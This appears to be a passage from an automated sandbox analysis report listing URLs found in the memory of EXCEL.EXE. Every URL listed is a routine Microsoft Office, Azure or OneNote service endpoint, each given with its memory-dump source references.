    Source: EXCEL.EXE, 00000000.00000003.437233845.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500157918.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.553288009.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.424360003.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500009258.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.277792999.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.421405813.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.422085559.0000000013862000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.552058000.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.696221387.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.593583876.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.278079684.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.552494065.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.537158640.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.537329045.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551704372.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.678253988.0000000013906000.00000004.00000001.sdmp, AC8CAF02-683E-48A7-A700-0718A72BFEE2.0.drString found in binary or memory: https://loki.delve.office.com/api/v1/configuration/officewin32/
    Source: EXCEL.EXE, EXCEL.EXE, 00000000.00000003.421300684.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.550868754.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.553525641.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499109089.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500897275.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.277792999.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.594234179.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.278079684.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.536575706.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.678012317.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.554604116.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.697006407.00000000163A3000.00000004.00000001.sdmp, AC8CAF02-683E-48A7-A700-0718A72BFEE2.0.drString found in binary or memory: https://lookup.onenote.com/lookup/geolocation/v1
    Source: EXCEL.EXE, 00000000.00000003.277792999.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.278079684.000000001384E000.00000004.00000001.sdmp, AC8CAF02-683E-48A7-A700-0718A72BFEE2.0.drString found in binary or memory: https://management.azure.com
    Source: EXCEL.EXE, 00000000.00000003.593569522.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.537143977.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499962557.0000000013848000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.277792999.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.553235770.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500495154.0000000013838000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551627090.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.501014387.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500138037.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423789564.0000000013838000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.278079684.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.421391234.00000000138F7000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.678240560.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.424320434.0000000013848000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499315615.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.437208198.00000000138F7000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500708465.0000000013848000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.696200025.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.437942259.0000000013848000.00000004.00000001.sdmp, AC8CAF02-683E-48A7-A700-0718A72BFEE2.0.drString found in binary or memory: https://management.azure.com/
    Source: EXCEL.EXE, 00000000.00000003.593569522.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.537143977.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.553235770.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551627090.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.501014387.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500138037.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.421391234.00000000138F7000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.678240560.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499315615.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.437208198.00000000138F7000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.696200025.00000000138EF000.00000004.00000001.sdmpString found in binary or memory: https://management.azure.comg
    Source: EXCEL.EXE, 00000000.00000003.537421141.0000000013864000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.537210186.000000001385B000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.553019049.0000000013864000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551397263.000000001385B000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.552313973.0000000013864000.00000004.00000001.sdmpString found in binary or memory: https://messaging.offic
    Source: EXCEL.EXE, 00000000.00000002.697006407.00000000163A3000.00000004.00000001.sdmp, AC8CAF02-683E-48A7-A700-0718A72BFEE2.0.drString found in binary or memory: https://messaging.office.com/
    Source: EXCEL.EXE, 00000000.00000003.678717765.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.277792999.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.278079684.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551305647.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.593757845.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500459255.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.695906973.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.422549739.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423733765.0000000013801000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.536979101.00000000137F4000.00000004.00000001.sdmp, AC8CAF02-683E-48A7-A700-0718A72BFEE2.0.drString found in binary or memory: https://metadata.templates.cdn.office.net/client/log
    Source: EXCEL.EXE, 00000000.00000003.500821599.0000000016310000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.536478212.0000000016310000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.277792999.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.678173550.0000000016310000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423217003.0000000016311000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.593811472.0000000016310000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.278079684.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.696894909.0000000016311000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.550766017.0000000016310000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499048411.0000000016311000.00000004.00000001.sdmp, AC8CAF02-683E-48A7-A700-0718A72BFEE2.0.drString found in binary or memory: https://na01.oscs.protection.outlook.com/api/SafeLinksApi/GetPolicy
    Source: EXCEL.EXE, EXCEL.EXE, 00000000.00000003.421300684.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500207188.0000000013865000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.550868754.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.553525641.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499109089.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500897275.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.277792999.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.422085559.0000000013862000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.594234179.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.278079684.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.536575706.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.678012317.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.554604116.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.697006407.00000000163A3000.00000004.00000001.sdmp, AC8CAF02-683E-48A7-A700-0718A72BFEE2.0.drString found in binary or memory: https://nam.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech
    Source: EXCEL.EXE, 00000000.00000003.421300684.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.550868754.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.553525641.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499109089.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500897275.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.594234179.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.536575706.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.678012317.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.554604116.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.697006407.00000000163A3000.00000004.00000001.sdmpString found in binary or memory: https://nam.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeechb
    Source: EXCEL.EXE, 00000000.00000003.500821599.0000000016310000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500207188.0000000013865000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.536478212.0000000016310000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.277792999.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.422085559.0000000013862000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.678173550.0000000016310000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423217003.0000000016311000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.593811472.0000000016310000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.278079684.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.696894909.0000000016311000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.550766017.0000000016310000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499048411.0000000016311000.00000004.00000001.sdmp, AC8CAF02-683E-48A7-A700-0718A72BFEE2.0.drString found in binary or memory: https://ncus.contentsync.
    Source: EXCEL.EXE, EXCEL.EXE, 00000000.00000003.421300684.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.550868754.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.553525641.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499109089.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500897275.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.277792999.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.594234179.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.278079684.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.536575706.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.678012317.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.554604116.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.697006407.00000000163A3000.00000004.00000001.sdmp, AC8CAF02-683E-48A7-A700-0718A72BFEE2.0.drString found in binary or memory: https://ncus.pagecontentsync.
    Source: EXCEL.EXE, 00000000.00000003.500459255.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.422549739.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423733765.0000000013801000.00000004.00000001.sdmpString found in binary or memory: https://nexus.officeapps.live.com
    Source: EXCEL.EXE, 00000000.00000003.437233845.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500157918.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.553288009.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.424360003.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500009258.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.421405813.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.552058000.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.696221387.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.593583876.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.552494065.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.537158640.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.537329045.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551704372.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.678253988.0000000013906000.00000004.00000001.sdmpString found in binary or memory: https://nexus.officeapps.live.com.
    Source: EXCEL.EXE, 00000000.00000003.437233845.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500157918.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.553288009.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.424360003.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500009258.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.421405813.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.552058000.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.696221387.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.593583876.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.552494065.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.537158640.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.537329045.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551704372.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.678253988.0000000013906000.00000004.00000001.sdmpString found in binary or memory: https://nexus.officeapps.live.com/nexus/rules
    Source: EXCEL.EXE, 00000000.00000003.437942259.0000000013848000.00000004.00000001.sdmpString found in binary or memory: https://nexus.officeapps.live.com/nexus/rules?Application=excel.exe&Version=16.0.4954.1000&ClientId=
    Source: EXCEL.EXE, 00000000.00000003.678717765.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.277792999.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.278079684.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551305647.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.593757845.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500459255.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.695906973.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.422549739.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423733765.0000000013801000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.536979101.00000000137F4000.00000004.00000001.sdmp, AC8CAF02-683E-48A7-A700-0718A72BFEE2.0.drString found in binary or memory: https://o365auditrealtimeingestion.manage.office.com
    Source: EXCEL.EXE, EXCEL.EXE, 00000000.00000003.500207188.0000000013865000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.277792999.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.422085559.0000000013862000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.278079684.000000001384E000.00000004.00000001.sdmp, AC8CAF02-683E-48A7-A700-0718A72BFEE2.0.drString found in binary or memory: https://o365auditrealtimeingestion.manage.office.com/api/userauditrecord
    Source: EXCEL.EXE, 00000000.00000003.421300684.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.550868754.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.553525641.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499109089.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500897275.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.594234179.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.536575706.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.678012317.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.554604116.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.697006407.00000000163A3000.00000004.00000001.sdmpString found in binary or memory: https://o365auditrealtimeingestion.manage.office.com/api/userauditrecordI
    Source: EXCEL.EXE, 00000000.00000003.437233845.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500157918.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.553288009.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.424360003.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500009258.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.277792999.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.421405813.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.422085559.0000000013862000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.552058000.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.696221387.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.593583876.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.278079684.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.552494065.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.537158640.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.537329045.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551704372.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.678253988.0000000013906000.00000004.00000001.sdmp, AC8CAF02-683E-48A7-A700-0718A72BFEE2.0.drString found in binary or memory: https://o365diagnosticsppe-web.cloudapp.net
    Source: EXCEL.EXE, 00000000.00000003.277792999.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.278079684.000000001384E000.00000004.00000001.sdmp, AC8CAF02-683E-48A7-A700-0718A72BFEE2.0.drString found in binary or memory: https://ocos-office365-s2s.msedge.net/ab
    Source: EXCEL.EXE, 00000000.00000003.437233845.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500157918.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.553288009.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.424360003.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500009258.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.421405813.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.552058000.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.696221387.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.593583876.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.552494065.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.537158640.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.537329045.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551704372.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.678253988.0000000013906000.00000004.00000001.sdmpString found in binary or memory: https://ocos-office365-s2s.msedge.net/abe
    Source: EXCEL.EXE, 00000000.00000003.277792999.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.422085559.0000000013862000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.278079684.000000001384E000.00000004.00000001.sdmp, AC8CAF02-683E-48A7-A700-0718A72BFEE2.0.drString found in binary or memory: https://ofcrecsvcapi-int.azurewebsites.net/
    Source: EXCEL.EXE, 00000000.00000003.437233845.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500157918.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.553288009.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.424360003.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500009258.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.421405813.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.552058000.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.696221387.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.593583876.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.552494065.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.537158640.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.537329045.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551704372.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.678253988.0000000013906000.00000004.00000001.sdmpString found in binary or memory: https://ofcrecsvcapi-int.azurewebsites.net/3
    Source: EXCEL.EXE, 00000000.00000003.422394630.0000000013775000.00000004.00000001.sdmp, AC8CAF02-683E-48A7-A700-0718A72BFEE2.0.drString found in binary or memory: https://officeapps.live.com
    Source: EXCEL.EXE, 00000000.00000003.500821599.0000000016310000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.536478212.0000000016310000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.678173550.0000000016310000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423637060.0000000016319000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423217003.0000000016311000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.593811472.0000000016310000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.696894909.0000000016311000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.550766017.0000000016310000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499048411.0000000016311000.00000004.00000001.sdmpString found in binary or memory: https://officeapps.live.com0.nls
    Source: EXCEL.EXE, 00000000.00000003.500821599.0000000016310000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.536478212.0000000016310000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.678173550.0000000016310000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423637060.0000000016319000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423217003.0000000016311000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.593811472.0000000016310000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.696894909.0000000016311000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.550766017.0000000016310000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499048411.0000000016311000.00000004.00000001.sdmpString found in binary or memory: https://officeapps.live.com00
    Source: EXCEL.EXE, 00000000.00000003.500821599.0000000016310000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.536478212.0000000016310000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.678173550.0000000016310000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423637060.0000000016319000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423217003.0000000016311000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.593811472.0000000016310000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.696894909.0000000016311000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.550766017.0000000016310000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499048411.0000000016311000.00000004.00000001.sdmpString found in binary or memory: https://officeapps.live.com1
    Source: EXCEL.EXE, 00000000.00000003.500821599.0000000016310000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.536478212.0000000016310000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.678173550.0000000016310000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423637060.0000000016319000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423217003.0000000016311000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.593811472.0000000016310000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.696894909.0000000016311000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.550766017.0000000016310000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499048411.0000000016311000.00000004.00000001.sdmpString found in binary or memory: https://officeapps.live.com2.nls
    Source: EXCEL.EXE, 00000000.00000003.500849842.000000001633B000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499076826.000000001633B000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423421004.000000001633B000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.678512366.000000001633C000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.593838121.000000001633B000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.594353981.000000001633B000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.536518147.000000001633B000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.550811363.000000001633B000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.696914644.000000001633C000.00000004.00000001.sdmpString found in binary or memory: https://officeapps.live.com3
    Source: EXCEL.EXE, 00000000.00000003.500821599.0000000016310000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.536478212.0000000016310000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.678173550.0000000016310000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423637060.0000000016319000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423217003.0000000016311000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.593811472.0000000016310000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.696894909.0000000016311000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.550766017.0000000016310000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499048411.0000000016311000.00000004.00000001.sdmpString found in binary or memory: https://officeapps.live.com6.nls0
    Source: EXCEL.EXE, 00000000.00000003.500821599.0000000016310000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.536478212.0000000016310000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.678173550.0000000016310000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423637060.0000000016319000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423217003.0000000016311000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.593811472.0000000016310000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.696894909.0000000016311000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.550766017.0000000016310000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499048411.0000000016311000.00000004.00000001.sdmpString found in binary or memory: https://officeapps.live.com9.nls
